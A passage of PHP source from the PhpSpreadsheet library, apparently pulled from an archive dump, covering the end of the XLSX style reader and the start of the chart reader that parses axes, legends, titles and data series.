(isset($attr['val'])) { $fontStyle->setSize((float) $attr['val']); } } if (isset($fontStyleXml->b)) { $attr = $this->getStyleAttributes($fontStyleXml->b); $fontStyle->setBold(!isset($attr['val']) || self::boolean((string) $attr['val'])); } if (isset($fontStyleXml->i)) { $attr = $this->getStyleAttributes($fontStyleXml->i); $fontStyle->setItalic(!isset($attr['val']) || self::boolean((string) $attr['val'])); } if (isset($fontStyleXml->strike)) { $attr = $this->getStyleAttributes($fontStyleXml->strike); $fontStyle->setStrikethrough(!isset($attr['val']) || self::boolean((string) $attr['val'])); } $fontStyle->getColor()->setARGB($this->readColor($fontStyleXml->color)); if (isset($fontStyleXml->u)) { $attr = $this->getStyleAttributes($fontStyleXml->u); if (!isset($attr['val'])) { $fontStyle->setUnderline(Font::UNDERLINE_SINGLE); } else { $fontStyle->setUnderline((string) $attr['val']); } } if (isset($fontStyleXml->vertAlign)) { $attr = $this->getStyleAttributes($fontStyleXml->vertAlign); if (isset($attr['val'])) { $verticalAlign = strtolower((string) $attr['val']); if ($verticalAlign === 'superscript') { $fontStyle->setSuperscript(true); } elseif ($verticalAlign === 'subscript') { $fontStyle->setSubscript(true); } } } if (isset($fontStyleXml->scheme)) { $attr = $this->getStyleAttributes($fontStyleXml->scheme); $fontStyle->setScheme((string) $attr['val']); } } private function readNumberFormat(NumberFormat $numfmtStyle, SimpleXMLElement $numfmtStyleXml): void { if ((string) $numfmtStyleXml['formatCode'] !== '') { $numfmtStyle->setFormatCode(self::formatGeneral((string) $numfmtStyleXml['formatCode'])); return; } $numfmt = $this->getStyleAttributes($numfmtStyleXml); if (isset($numfmt['formatCode'])) { $numfmtStyle->setFormatCode(self::formatGeneral((string) $numfmt['formatCode'])); } } public function readFillStyle(Fill $fillStyle, SimpleXMLElement $fillStyleXml): void { if ($fillStyleXml->gradientFill) { /** @var SimpleXMLElement $gradientFill */ $gradientFill = $fillStyleXml->gradientFill[0]; $attr = $this->getStyleAttributes($gradientFill); if (!empty($attr['type'])) { $fillStyle->setFillType((string) $attr['type']); } $fillStyle->setRotation((float) ($attr['degree'])); $gradientFill->registerXPathNamespace('sml', Namespaces::MAIN); $fillStyle->getStartColor()->setARGB($this->readColor(self::getArrayItem($gradientFill->xpath('sml:stop[@position=0]'))->color)); //* @phpstan-ignore-line $fillStyle->getEndColor()->setARGB($this->readColor(self::getArrayItem($gradientFill->xpath('sml:stop[@position=1]'))->color)); //* @phpstan-ignore-line } elseif ($fillStyleXml->patternFill) { $defaultFillStyle = Fill::FILL_NONE; if ($fillStyleXml->patternFill->fgColor) { $fillStyle->getStartColor()->setARGB($this->readColor($fillStyleXml->patternFill->fgColor, true)); $defaultFillStyle = Fill::FILL_SOLID; } if ($fillStyleXml->patternFill->bgColor) { $fillStyle->getEndColor()->setARGB($this->readColor($fillStyleXml->patternFill->bgColor, true)); $defaultFillStyle = Fill::FILL_SOLID; } $type = ''; if ((string) $fillStyleXml->patternFill['patternType'] !== '') { $type = (string) $fillStyleXml->patternFill['patternType']; } else { $attr = $this->getStyleAttributes($fillStyleXml->patternFill); $type = (string) $attr['patternType']; } $patternType = ($type === '') ? $defaultFillStyle : $type; $fillStyle->setFillType($patternType); } } public function readBorderStyle(Borders $borderStyle, SimpleXMLElement $borderStyleXml): void { $diagonalUp = $this->getAttribute($borderStyleXml, 'diagonalUp'); $diagonalUp = self::boolean($diagonalUp); $diagonalDown = $this->getAttribute($borderStyleXml, 'diagonalDown'); $diagonalDown = self::boolean($diagonalDown); if ($diagonalUp === false) { if ($diagonalDown === false) { $borderStyle->setDiagonalDirection(Borders::DIAGONAL_NONE); } else { $borderStyle->setDiagonalDirection(Borders::DIAGONAL_DOWN); } } elseif ($diagonalDown === false) { $borderStyle->setDiagonalDirection(Borders::DIAGONAL_UP); } else { $borderStyle->setDiagonalDirection(Borders::DIAGONAL_BOTH); } if (isset($borderStyleXml->left)) { $this->readBorder($borderStyle->getLeft(), $borderStyleXml->left); } if (isset($borderStyleXml->right)) { $this->readBorder($borderStyle->getRight(), $borderStyleXml->right); } if (isset($borderStyleXml->top)) { $this->readBorder($borderStyle->getTop(), $borderStyleXml->top); } if (isset($borderStyleXml->bottom)) { $this->readBorder($borderStyle->getBottom(), $borderStyleXml->bottom); } if (isset($borderStyleXml->diagonal)) { $this->readBorder($borderStyle->getDiagonal(), $borderStyleXml->diagonal); } } private function getAttribute(SimpleXMLElement $xml, string $attribute): string { $style = ''; if ((string) $xml[$attribute] !== '') { $style = (string) $xml[$attribute]; } else { $attr = $this->getStyleAttributes($xml); if (isset($attr[$attribute])) { $style = (string) $attr[$attribute]; } } return $style; } private function readBorder(Border $border, SimpleXMLElement $borderXml): void { $style = $this->getAttribute($borderXml, 'style'); if ($style !== '') { $border->setBorderStyle((string) $style); } else { $border->setBorderStyle(Border::BORDER_NONE); } if (isset($borderXml->color)) { $border->getColor()->setARGB($this->readColor($borderXml->color)); } } public function readAlignmentStyle(Alignment $alignment, SimpleXMLElement $alignmentXml): void { $horizontal = (string) $this->getAttribute($alignmentXml, 'horizontal'); if ($horizontal !== '') { $alignment->setHorizontal($horizontal); } $vertical = (string) $this->getAttribute($alignmentXml, 'vertical'); if ($vertical !== '') { $alignment->setVertical($vertical); } $textRotation = (int) $this->getAttribute($alignmentXml, 'textRotation'); if ($textRotation > 90) { $textRotation = 90 - $textRotation; } $alignment->setTextRotation($textRotation); $wrapText = $this->getAttribute($alignmentXml, 'wrapText'); $alignment->setWrapText(self::boolean((string) $wrapText)); $shrinkToFit = $this->getAttribute($alignmentXml, 'shrinkToFit'); $alignment->setShrinkToFit(self::boolean((string) $shrinkToFit)); $indent = (int) $this->getAttribute($alignmentXml, 'indent'); $alignment->setIndent(max($indent, 0)); $readingOrder = (int) $this->getAttribute($alignmentXml, 'readingOrder'); $alignment->setReadOrder(max($readingOrder, 0)); } private static function formatGeneral(string $formatString): string { if ($formatString === 'GENERAL') { $formatString = NumberFormat::FORMAT_GENERAL; } return $formatString; } /** * Read style. */ public function readStyle(Style $docStyle, SimpleXMLElement|stdClass $style): void { if ($style instanceof SimpleXMLElement) { $this->readNumberFormat($docStyle->getNumberFormat(), $style->numFmt); } else { $docStyle->getNumberFormat()->setFormatCode(self::formatGeneral((string) $style->numFmt)); } if (isset($style->font)) { $this->readFontStyle($docStyle->getFont(), $style->font); } if (isset($style->fill)) { $this->readFillStyle($docStyle->getFill(), $style->fill); } if (isset($style->border)) { $this->readBorderStyle($docStyle->getBorders(), $style->border); } if (isset($style->alignment)) { $this->readAlignmentStyle($docStyle->getAlignment(), $style->alignment); } // protection if (isset($style->protection)) { $this->readProtectionLocked($docStyle, $style->protection); $this->readProtectionHidden($docStyle, $style->protection); } // top-level style settings if (isset($style->quotePrefix)) { $docStyle->setQuotePrefix((bool) $style->quotePrefix); } } /** * Read protection locked attribute. */ public function readProtectionLocked(Style $docStyle, SimpleXMLElement $style): void { $locked = ''; if ((string) $style['locked'] !== '') { $locked = (string) $style['locked']; } else { $attr = $this->getStyleAttributes($style); if (isset($attr['locked'])) { $locked = (string) $attr['locked']; } } if ($locked !== '') { if (self::boolean($locked)) { $docStyle->getProtection()->setLocked(Protection::PROTECTION_PROTECTED); } else { $docStyle->getProtection()->setLocked(Protection::PROTECTION_UNPROTECTED); } } } /** * Read protection hidden attribute. */ public function readProtectionHidden(Style $docStyle, SimpleXMLElement $style): void { $hidden = ''; if ((string) $style['hidden'] !== '') { $hidden = (string) $style['hidden']; } else { $attr = $this->getStyleAttributes($style); if (isset($attr['hidden'])) { $hidden = (string) $attr['hidden']; } } if ($hidden !== '') { if (self::boolean((string) $hidden)) { $docStyle->getProtection()->setHidden(Protection::PROTECTION_PROTECTED); } else { $docStyle->getProtection()->setHidden(Protection::PROTECTION_UNPROTECTED); } } } public function readColor(SimpleXMLElement $color, bool $background = false): string { $attr = $this->getStyleAttributes($color); if (isset($attr['rgb'])) { return (string) $attr['rgb']; } if (isset($attr['indexed'])) { $indexedColor = (int) $attr['indexed']; if ($indexedColor >= count($this->workbookPalette)) { return Color::indexedColor($indexedColor - 7, $background)->getARGB() ?? ''; } return Color::indexedColor($indexedColor, $background, $this->workbookPalette)->getARGB() ?? ''; } if (isset($attr['theme'])) { if ($this->theme !== null) { $returnColour = $this->theme->getColourByIndex((int) $attr['theme']); if (isset($attr['tint'])) { $tintAdjust = (float) $attr['tint']; $returnColour = Color::changeBrightness($returnColour ?? '', $tintAdjust); } return 'FF' . $returnColour; } } return ($background) ? 'FFFFFFFF' : 'FF000000'; } public function dxfs(bool $readDataOnly = false): array { $dxfs = []; if (!$readDataOnly && $this->styleXml) { // Conditional Styles if ($this->styleXml->dxfs) { foreach ($this->styleXml->dxfs->dxf as $dxf) { $style = new Style(false, true); $this->readStyle($style, $dxf); $dxfs[] = $style; } } // Cell Styles if ($this->styleXml->cellStyles) { foreach ($this->styleXml->cellStyles->cellStyle as $cellStylex) { $cellStyle = Xlsx::getAttributes($cellStylex); if ((int) ($cellStyle['builtinId']) == 0) { if (isset($this->cellStyles[(int) ($cellStyle['xfId'])])) { // Set default style $style = new Style(); $this->readStyle($style, $this->cellStyles[(int) ($cellStyle['xfId'])]); // normal style, currently not using it for anything } } } } } return $dxfs; } public function styles(): array { return $this->styles; } /** * Get array item. * * @param mixed $array (usually array, in theory can be false) */ private static function getArrayItem(mixed $array): ?SimpleXMLElement { return is_array($array) ? ($array[0] ?? null) : null; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Xlsx/Chart.php000064400000232154151676714400021170 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader\Xlsx; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; use PhpOffice\PhpSpreadsheet\Chart\Axis; use PhpOffice\PhpSpreadsheet\Chart\AxisText; use PhpOffice\PhpSpreadsheet\Chart\ChartColor; use PhpOffice\PhpSpreadsheet\Chart\DataSeries; use PhpOffice\PhpSpreadsheet\Chart\DataSeriesValues; use PhpOffice\PhpSpreadsheet\Chart\GridLines; use PhpOffice\PhpSpreadsheet\Chart\Layout; use PhpOffice\PhpSpreadsheet\Chart\Legend; use PhpOffice\PhpSpreadsheet\Chart\PlotArea; use PhpOffice\PhpSpreadsheet\Chart\Properties as ChartProperties; use PhpOffice\PhpSpreadsheet\Chart\Title; use PhpOffice\PhpSpreadsheet\Chart\TrendLine; use PhpOffice\PhpSpreadsheet\Reader\Xlsx; use PhpOffice\PhpSpreadsheet\RichText\RichText; use PhpOffice\PhpSpreadsheet\Style\Font; use SimpleXMLElement; class Chart { private string $cNamespace; private string $aNamespace; public function __construct(string $cNamespace = Namespaces::CHART, string $aNamespace = Namespaces::DRAWINGML) { $this->cNamespace = $cNamespace; $this->aNamespace = $aNamespace; } private static function getAttributeString(SimpleXMLElement $component, string $name): string|null { $attributes = $component->attributes(); if (@isset($attributes[$name])) { return (string) $attributes[$name]; } return null; } private static function getAttributeInteger(SimpleXMLElement $component, string $name): int|null { $attributes = $component->attributes(); if (@isset($attributes[$name])) { return (int) $attributes[$name]; } return null; } private static function getAttributeBoolean(SimpleXMLElement $component, string $name): bool|null { $attributes = $component->attributes(); if (@isset($attributes[$name])) { $value = (string) $attributes[$name]; return $value === 'true' || $value === '1'; } return null; } private static function getAttributeFloat(SimpleXMLElement $component, string $name): float|null { $attributes = $component->attributes(); if (@isset($attributes[$name])) { return (float) $attributes[$name]; } return null; } public function readChart(SimpleXMLElement $chartElements, string $chartName): \PhpOffice\PhpSpreadsheet\Chart\Chart { $chartElementsC = $chartElements->children($this->cNamespace); $XaxisLabel = $YaxisLabel = $legend = $title = null; $dispBlanksAs = null; $plotVisOnly = false; $plotArea = null; $rotX = $rotY = $rAngAx = $perspective = null; $xAxis = new Axis(); $yAxis = new Axis(); $autoTitleDeleted = null; $chartNoFill = false; $chartBorderLines = null; $chartFillColor = null; $gradientArray = []; $gradientLin = null; $roundedCorners = false; $gapWidth = null; $useUpBars = null; $useDownBars = null; foreach ($chartElementsC as $chartElementKey => $chartElement) { switch ($chartElementKey) { case 'spPr': $children = $chartElementsC->spPr->children($this->aNamespace); if (isset($children->noFill)) { $chartNoFill = true; } if (isset($children->solidFill)) { $chartFillColor = $this->readColor($children->solidFill); } if (isset($children->ln)) { $chartBorderLines = new GridLines(); $this->readLineStyle($chartElementsC, $chartBorderLines); } break; case 'roundedCorners': /** @var bool $roundedCorners */ $roundedCorners = self::getAttributeBoolean($chartElementsC->roundedCorners, 'val'); break; case 'chart': foreach ($chartElement as $chartDetailsKey => $chartDetails) { $chartDetails = Xlsx::testSimpleXml($chartDetails); switch ($chartDetailsKey) { case 'autoTitleDeleted': /** @var bool $autoTitleDeleted */ $autoTitleDeleted = self::getAttributeBoolean($chartElementsC->chart->autoTitleDeleted, 'val'); break; case 'view3D': $rotX = self::getAttributeInteger($chartDetails->rotX, 'val'); $rotY = self::getAttributeInteger($chartDetails->rotY, 'val'); $rAngAx = self::getAttributeInteger($chartDetails->rAngAx, 'val'); $perspective = self::getAttributeInteger($chartDetails->perspective, 'val'); break; case 'plotArea': $plotAreaLayout = $XaxisLabel = $YaxisLabel = null; $plotSeries = $plotAttributes = []; $catAxRead = false; $plotNoFill = false; foreach ($chartDetails as $chartDetailKey => $chartDetail) { $chartDetail = Xlsx::testSimpleXml($chartDetail); switch ($chartDetailKey) { case 'spPr': $possibleNoFill = $chartDetails->spPr->children($this->aNamespace); if (isset($possibleNoFill->noFill)) { $plotNoFill = true; } if (isset($possibleNoFill->gradFill->gsLst)) { foreach ($possibleNoFill->gradFill->gsLst->gs as $gradient) { $gradient = Xlsx::testSimpleXml($gradient); /** @var float $pos */ $pos = self::getAttributeFloat($gradient, 'pos'); $gradientArray[] = [ $pos / ChartProperties::PERCENTAGE_MULTIPLIER, new ChartColor($this->readColor($gradient)), ]; } } if (isset($possibleNoFill->gradFill->lin)) { $gradientLin = ChartProperties::XmlToAngle((string) self::getAttributeString($possibleNoFill->gradFill->lin, 'ang')); } break; case 'layout': $plotAreaLayout = $this->chartLayoutDetails($chartDetail); break; case Axis::AXIS_TYPE_CATEGORY: case Axis::AXIS_TYPE_DATE: $catAxRead = true; if (isset($chartDetail->title)) { $XaxisLabel = $this->chartTitle($chartDetail->title->children($this->cNamespace)); } $xAxis->setAxisType($chartDetailKey); $this->readEffects($chartDetail, $xAxis); $this->readLineStyle($chartDetail, $xAxis); if (isset($chartDetail->spPr)) { $sppr = $chartDetail->spPr->children($this->aNamespace); if (isset($sppr->solidFill)) { $axisColorArray = $this->readColor($sppr->solidFill); $xAxis->setFillParameters($axisColorArray['value'], $axisColorArray['alpha'], $axisColorArray['type']); } if (isset($chartDetail->spPr->ln->noFill)) { $xAxis->setNoFill(true); } } if (isset($chartDetail->majorGridlines)) { $majorGridlines = new GridLines(); if (isset($chartDetail->majorGridlines->spPr)) { $this->readEffects($chartDetail->majorGridlines, $majorGridlines); $this->readLineStyle($chartDetail->majorGridlines, $majorGridlines); } $xAxis->setMajorGridlines($majorGridlines); } if (isset($chartDetail->minorGridlines)) { $minorGridlines = new GridLines(); $minorGridlines->activateObject(); if (isset($chartDetail->minorGridlines->spPr)) { $this->readEffects($chartDetail->minorGridlines, $minorGridlines); $this->readLineStyle($chartDetail->minorGridlines, $minorGridlines); } $xAxis->setMinorGridlines($minorGridlines); } $this->setAxisProperties($chartDetail, $xAxis); break; case Axis::AXIS_TYPE_VALUE: $whichAxis = null; $axPos = null; if (isset($chartDetail->axPos)) { $axPos = self::getAttributeString($chartDetail->axPos, 'val'); } if ($catAxRead) { $whichAxis = $yAxis; $yAxis->setAxisType($chartDetailKey); } elseif (!empty($axPos)) { switch ($axPos) { case 't': case 'b': $whichAxis = $xAxis; $xAxis->setAxisType($chartDetailKey); break; case 'r': case 'l': $whichAxis = $yAxis; $yAxis->setAxisType($chartDetailKey); break; } } if (isset($chartDetail->title)) { $axisLabel = $this->chartTitle($chartDetail->title->children($this->cNamespace)); switch ($axPos) { case 't': case 'b': $XaxisLabel = $axisLabel; break; case 'r': case 'l': $YaxisLabel = $axisLabel; break; } } $this->readEffects($chartDetail, $whichAxis); $this->readLineStyle($chartDetail, $whichAxis); if ($whichAxis !== null && isset($chartDetail->spPr)) { $sppr = $chartDetail->spPr->children($this->aNamespace); if (isset($sppr->solidFill)) { $axisColorArray = $this->readColor($sppr->solidFill); $whichAxis->setFillParameters($axisColorArray['value'], $axisColorArray['alpha'], $axisColorArray['type']); } if (isset($sppr->ln->noFill)) { $whichAxis->setNoFill(true); } } if ($whichAxis !== null && isset($chartDetail->majorGridlines)) { $majorGridlines = new GridLines(); if (isset($chartDetail->majorGridlines->spPr)) { $this->readEffects($chartDetail->majorGridlines, $majorGridlines); $this->readLineStyle($chartDetail->majorGridlines, $majorGridlines); } $whichAxis->setMajorGridlines($majorGridlines); } if ($whichAxis !== null && isset($chartDetail->minorGridlines)) { $minorGridlines = new GridLines(); $minorGridlines->activateObject(); if (isset($chartDetail->minorGridlines->spPr)) { $this->readEffects($chartDetail->minorGridlines, $minorGridlines); $this->readLineStyle($chartDetail->minorGridlines, $minorGridlines); } $whichAxis->setMinorGridlines($minorGridlines); } $this->setAxisProperties($chartDetail, $whichAxis); break; case 'barChart': case 'bar3DChart': $barDirection = self::getAttributeString($chartDetail->barDir, 'val'); $plotSer = $this->chartDataSeries($chartDetail, $chartDetailKey); $plotSer->setPlotDirection("$barDirection"); $plotSeries[] = $plotSer; $plotAttributes = $this->readChartAttributes($chartDetail); break; case 'lineChart': case 'line3DChart': $plotSeries[] = $this->chartDataSeries($chartDetail, $chartDetailKey); $plotAttributes = $this->readChartAttributes($chartDetail); break; case 'areaChart': case 'area3DChart': $plotSeries[] = $this->chartDataSeries($chartDetail, $chartDetailKey); $plotAttributes = $this->readChartAttributes($chartDetail); break; case 'doughnutChart': case 'pieChart': case 'pie3DChart': $explosion = self::getAttributeString($chartDetail->ser->explosion, 'val'); $plotSer = $this->chartDataSeries($chartDetail, $chartDetailKey); $plotSer->setPlotStyle("$explosion"); $plotSeries[] = $plotSer; $plotAttributes = $this->readChartAttributes($chartDetail); break; case 'scatterChart': /** @var string $scatterStyle */ $scatterStyle = self::getAttributeString($chartDetail->scatterStyle, 'val'); $plotSer = $this->chartDataSeries($chartDetail, $chartDetailKey); $plotSer->setPlotStyle($scatterStyle); $plotSeries[] = $plotSer; $plotAttributes = $this->readChartAttributes($chartDetail); break; case 'bubbleChart': $bubbleScale = self::getAttributeInteger($chartDetail->bubbleScale, 'val'); $plotSer = $this->chartDataSeries($chartDetail, $chartDetailKey); $plotSer->setPlotStyle("$bubbleScale"); $plotSeries[] = $plotSer; $plotAttributes = $this->readChartAttributes($chartDetail); break; case 'radarChart': /** @var string $radarStyle */ $radarStyle = self::getAttributeString($chartDetail->radarStyle, 'val'); $plotSer = $this->chartDataSeries($chartDetail, $chartDetailKey); $plotSer->setPlotStyle($radarStyle); $plotSeries[] = $plotSer; $plotAttributes = $this->readChartAttributes($chartDetail); break; case 'surfaceChart': case 'surface3DChart': $wireFrame = self::getAttributeBoolean($chartDetail->wireframe, 'val'); $plotSer = $this->chartDataSeries($chartDetail, $chartDetailKey); $plotSer->setPlotStyle("$wireFrame"); $plotSeries[] = $plotSer; $plotAttributes = $this->readChartAttributes($chartDetail); break; case 'stockChart': $plotSeries[] = $this->chartDataSeries($chartDetail, $chartDetailKey); if (isset($chartDetail->upDownBars->gapWidth)) { $gapWidth = self::getAttributeInteger($chartDetail->upDownBars->gapWidth, 'val'); } if (isset($chartDetail->upDownBars->upBars)) { $useUpBars = true; } if (isset($chartDetail->upDownBars->downBars)) { $useDownBars = true; } $plotAttributes = $this->readChartAttributes($chartDetail); break; } } if ($plotAreaLayout == null) { $plotAreaLayout = new Layout(); } $plotArea = new PlotArea($plotAreaLayout, $plotSeries); $this->setChartAttributes($plotAreaLayout, $plotAttributes); if ($plotNoFill) { $plotArea->setNoFill(true); } if (!empty($gradientArray)) { $plotArea->setGradientFillProperties($gradientArray, $gradientLin); } if (is_int($gapWidth)) { $plotArea->setGapWidth($gapWidth); } if ($useUpBars === true) { $plotArea->setUseUpBars(true); } if ($useDownBars === true) { $plotArea->setUseDownBars(true); } break; case 'plotVisOnly': $plotVisOnly = (bool) self::getAttributeString($chartDetails, 'val'); break; case 'dispBlanksAs': $dispBlanksAs = self::getAttributeString($chartDetails, 'val'); break; case 'title': $title = $this->chartTitle($chartDetails); break; case 'legend': $legendPos = 'r'; $legendLayout = null; $legendOverlay = false; $legendBorderLines = null; $legendFillColor = null; $legendText = null; $addLegendText = false; foreach ($chartDetails as $chartDetailKey => $chartDetail) { $chartDetail = Xlsx::testSimpleXml($chartDetail); switch ($chartDetailKey) { case 'legendPos': $legendPos = self::getAttributeString($chartDetail, 'val'); break; case 'overlay': $legendOverlay = self::getAttributeBoolean($chartDetail, 'val'); break; case 'layout': $legendLayout = $this->chartLayoutDetails($chartDetail); break; case 'spPr': $children = $chartDetails->spPr->children($this->aNamespace); if (isset($children->solidFill)) { $legendFillColor = $this->readColor($children->solidFill); } if (isset($children->ln)) { $legendBorderLines = new GridLines(); $this->readLineStyle($chartDetails, $legendBorderLines); } break; case 'txPr': $children = $chartDetails->txPr->children($this->aNamespace); $addLegendText = false; $legendText = new AxisText(); if (isset($children->p->pPr->defRPr->solidFill)) { $colorArray = $this->readColor($children->p->pPr->defRPr->solidFill); $legendText->getFillColorObject()->setColorPropertiesArray($colorArray); $addLegendText = true; } if (isset($children->p->pPr->defRPr->effectLst)) { $this->readEffects($children->p->pPr->defRPr, $legendText, false); $addLegendText = true; } break; } } $legend = new Legend("$legendPos", $legendLayout, (bool) $legendOverlay); if ($legendFillColor !== null) { $legend->getFillColor()->setColorPropertiesArray($legendFillColor); } if ($legendBorderLines !== null) { $legend->setBorderLines($legendBorderLines); } if ($addLegendText) { $legend->setLegendText($legendText); } break; } } } } $chart = new \PhpOffice\PhpSpreadsheet\Chart\Chart($chartName, $title, $legend, $plotArea, $plotVisOnly, (string) $dispBlanksAs, $XaxisLabel, $YaxisLabel, $xAxis, $yAxis); if ($chartNoFill) { $chart->setNoFill(true); } if ($chartFillColor !== null) { $chart->getFillColor()->setColorPropertiesArray($chartFillColor); } if ($chartBorderLines !== null) { $chart->setBorderLines($chartBorderLines); } $chart->setRoundedCorners($roundedCorners); if (is_bool($autoTitleDeleted)) { $chart->setAutoTitleDeleted($autoTitleDeleted); } if (is_int($rotX)) { $chart->setRotX($rotX); } if (is_int($rotY)) { $chart->setRotY($rotY); } if (is_int($rAngAx)) { $chart->setRAngAx($rAngAx); } if (is_int($perspective)) { $chart->setPerspective($perspective); } return $chart; } private function chartTitle(SimpleXMLElement $titleDetails): Title { $caption = ''; $titleLayout = null; $titleOverlay = false; $titleFormula = null; $titleFont = null; foreach ($titleDetails as $titleDetailKey => $chartDetail) { $chartDetail = Xlsx::testSimpleXml($chartDetail); switch ($titleDetailKey) { case 'tx': $caption = []; if (isset($chartDetail->rich)) { $titleDetails = $chartDetail->rich->children($this->aNamespace); foreach ($titleDetails as $titleKey => $titleDetail) { $titleDetail = Xlsx::testSimpleXml($titleDetail); switch ($titleKey) { case 'p': $titleDetailPart = $titleDetail->children($this->aNamespace); $caption[] = $this->parseRichText($titleDetailPart); } } } elseif (isset($chartDetail->strRef->strCache)) { foreach ($chartDetail->strRef->strCache->pt as $pt) { if (isset($pt->v)) { $caption[] = (string) $pt->v; } } if (isset($chartDetail->strRef->f)) { $titleFormula = (string) $chartDetail->strRef->f; } } break; case 'overlay': $titleOverlay = self::getAttributeBoolean($chartDetail, 'val'); break; case 'layout': $titleLayout = $this->chartLayoutDetails($chartDetail); break; case 'txPr': if (isset($chartDetail->children($this->aNamespace)->p)) { $titleFont = $this->parseFont($chartDetail->children($this->aNamespace)->p); } break; } } $title = new Title($caption, $titleLayout, (bool) $titleOverlay); if (!empty($titleFormula)) { $title->setCellReference($titleFormula); } if ($titleFont !== null) { $title->setFont($titleFont); } return $title; } private function chartLayoutDetails(SimpleXMLElement $chartDetail): ?Layout { if (!isset($chartDetail->manualLayout)) { return null; } $details = $chartDetail->manualLayout->children($this->cNamespace); if ($details === null) { return null; } $layout = []; foreach ($details as $detailKey => $detail) { $detail = Xlsx::testSimpleXml($detail); $layout[$detailKey] = self::getAttributeString($detail, 'val'); } return new Layout($layout); } private function chartDataSeries(SimpleXMLElement $chartDetail, string $plotType): DataSeries { $multiSeriesType = null; $smoothLine = false; $seriesLabel = $seriesCategory = $seriesValues = $plotOrder = $seriesBubbles = []; $plotDirection = null; $seriesDetailSet = $chartDetail->children($this->cNamespace); foreach ($seriesDetailSet as $seriesDetailKey => $seriesDetails) { switch ($seriesDetailKey) { case 'grouping': $multiSeriesType = self::getAttributeString($chartDetail->grouping, 'val'); break; case 'ser': $marker = null; $seriesIndex = ''; $fillColor = null; $pointSize = null; $noFill = false; $bubble3D = false; $dptColors = []; $markerFillColor = null; $markerBorderColor = null; $lineStyle = null; $labelLayout = null; $trendLines = []; foreach ($seriesDetails as $seriesKey => $seriesDetail) { $seriesDetail = Xlsx::testSimpleXml($seriesDetail); switch ($seriesKey) { case 'idx': $seriesIndex = self::getAttributeInteger($seriesDetail, 'val'); break; case 'order': $seriesOrder = self::getAttributeInteger($seriesDetail, 'val'); if ($seriesOrder !== null) { $plotOrder[$seriesIndex] = $seriesOrder; } break; case 'tx': $temp = $this->chartDataSeriesValueSet($seriesDetail); if ($temp !== null) { $seriesLabel[$seriesIndex] = $temp; } break; case 'spPr': $children = $seriesDetail->children($this->aNamespace); if (isset($children->ln)) { $ln = $children->ln; if (is_countable($ln->noFill) && count($ln->noFill) === 1) { $noFill = true; } $lineStyle = new GridLines(); $this->readLineStyle($seriesDetails, $lineStyle); } if (isset($children->effectLst)) { if ($lineStyle === null) { $lineStyle = new GridLines(); } $this->readEffects($seriesDetails, $lineStyle); } if (isset($children->solidFill)) { $fillColor = new ChartColor($this->readColor($children->solidFill)); } break; case 'dPt': $dptIdx = (int) self::getAttributeString($seriesDetail->idx, 'val'); if (isset($seriesDetail->spPr)) { $children = $seriesDetail->spPr->children($this->aNamespace); if (isset($children->solidFill)) { $arrayColors = $this->readColor($children->solidFill); $dptColors[$dptIdx] = new ChartColor($arrayColors); } } break; case 'trendline': $trendLine = new TrendLine(); $this->readLineStyle($seriesDetail, $trendLine); $trendLineType = self::getAttributeString($seriesDetail->trendlineType, 'val'); $dispRSqr = self::getAttributeBoolean($seriesDetail->dispRSqr, 'val'); $dispEq = self::getAttributeBoolean($seriesDetail->dispEq, 'val'); $order = self::getAttributeInteger($seriesDetail->order, 'val'); $period = self::getAttributeInteger($seriesDetail->period, 'val'); $forward = self::getAttributeFloat($seriesDetail->forward, 'val'); $backward = self::getAttributeFloat($seriesDetail->backward, 'val'); $intercept = self::getAttributeFloat($seriesDetail->intercept, 'val'); $name = (string) $seriesDetail->name; $trendLine->setTrendLineProperties( $trendLineType, $order, $period, $dispRSqr, $dispEq, $backward, $forward, $intercept, $name ); $trendLines[] = $trendLine; break; case 'marker': $marker = self::getAttributeString($seriesDetail->symbol, 'val'); $pointSize = self::getAttributeString($seriesDetail->size, 'val'); $pointSize = is_numeric($pointSize) ? ((int) $pointSize) : null; if (isset($seriesDetail->spPr)) { $children = $seriesDetail->spPr->children($this->aNamespace); if (isset($children->solidFill)) { $markerFillColor = $this->readColor($children->solidFill); } if (isset($children->ln->solidFill)) { $markerBorderColor = $this->readColor($children->ln->solidFill); } } break; case 'smooth': $smoothLine = self::getAttributeBoolean($seriesDetail, 'val') ?? false; break; case 'cat': $temp = $this->chartDataSeriesValueSet($seriesDetail); if ($temp !== null) { $seriesCategory[$seriesIndex] = $temp; } break; case 'val': $temp = $this->chartDataSeriesValueSet($seriesDetail, "$marker", $fillColor, "$pointSize"); if ($temp !== null) { $seriesValues[$seriesIndex] = $temp; } break; case 'xVal': $temp = $this->chartDataSeriesValueSet($seriesDetail, "$marker", $fillColor, "$pointSize"); if ($temp !== null) { $seriesCategory[$seriesIndex] = $temp; } break; case 'yVal': $temp = $this->chartDataSeriesValueSet($seriesDetail, "$marker", $fillColor, "$pointSize"); if ($temp !== null) { $seriesValues[$seriesIndex] = $temp; } break; case 'bubbleSize': $seriesBubble = $this->chartDataSeriesValueSet($seriesDetail, "$marker", $fillColor, "$pointSize"); if ($seriesBubble !== null) { $seriesBubbles[$seriesIndex] = $seriesBubble; } break; case 'bubble3D': $bubble3D = self::getAttributeBoolean($seriesDetail, 'val'); break; case 'dLbls': $labelLayout = new Layout($this->readChartAttributes($seriesDetails)); break; } } if ($labelLayout) { if (isset($seriesLabel[$seriesIndex])) { $seriesLabel[$seriesIndex]->setLabelLayout($labelLayout); } if (isset($seriesCategory[$seriesIndex])) { $seriesCategory[$seriesIndex]->setLabelLayout($labelLayout); } if (isset($seriesValues[$seriesIndex])) { $seriesValues[$seriesIndex]->setLabelLayout($labelLayout); } } if ($noFill) { if (isset($seriesLabel[$seriesIndex])) { $seriesLabel[$seriesIndex]->setScatterLines(false); } if (isset($seriesCategory[$seriesIndex])) { $seriesCategory[$seriesIndex]->setScatterLines(false); } if (isset($seriesValues[$seriesIndex])) { $seriesValues[$seriesIndex]->setScatterLines(false); } } if ($lineStyle !== null) { if (isset($seriesLabel[$seriesIndex])) { $seriesLabel[$seriesIndex]->copyLineStyles($lineStyle); } if (isset($seriesCategory[$seriesIndex])) { $seriesCategory[$seriesIndex]->copyLineStyles($lineStyle); } if (isset($seriesValues[$seriesIndex])) { $seriesValues[$seriesIndex]->copyLineStyles($lineStyle); } } if ($bubble3D) { if (isset($seriesLabel[$seriesIndex])) { $seriesLabel[$seriesIndex]->setBubble3D($bubble3D); } if (isset($seriesCategory[$seriesIndex])) { 